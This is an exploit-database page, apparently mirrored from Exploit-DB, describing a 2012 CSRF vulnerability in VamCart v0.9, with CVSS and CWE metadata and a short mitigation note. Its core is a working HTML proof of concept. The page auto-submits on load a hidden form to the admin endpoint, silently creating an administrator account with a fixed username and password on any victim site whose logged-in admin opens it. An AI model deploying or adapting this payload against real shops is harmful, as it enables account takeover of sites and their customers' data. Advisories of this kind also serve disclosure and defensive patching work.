header-logo
Suggest Exploit
vendor:
VamCart
by:
DaOne
5.5
CVSS
MEDIUM
CSRF
352
CWE
Product Name: VamCart
Affected Version From: v0.9
Affected Version To: v0.9
Patch Exists: NO
Related CWE:
CPE: a:vamcart_project:vamcart:0.9
Metasploit:
Other Scripts:
Platforms Tested:
2012

VamCart v0.9 CSRF Vulnerability

This exploit allows an attacker to add an admin user to the VamCart v0.9 software by submitting a form with hidden fields containing the necessary user information.

Mitigation:

To mitigate this vulnerability, it is recommended to implement CSRF protection mechanisms such as random tokens or re-authentication for sensitive actions.
Source

Exploit-DB raw data:

# Exploit Title: VamCart v0.9 CSRF Vulnerability
# Date: 20/08/2012
# Author: DaOne 
# Software Link: http://vamcart.googlecode.com/files/vamcart.zip
# Greetings to: LCA

# CSRF Add Admin:

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://[target]/users/admin_new/">
<input type="hidden" name="data[User][username]" value="webadmin">
<input type="hidden" name="data[User][email]" value="admin@email.com"/>
<input type="hidden" name="data[User][password]" value="pass123"/>
</form>
</body>
</html>

Navigation

Suggest Exploit

Services By CQR

cqrsecured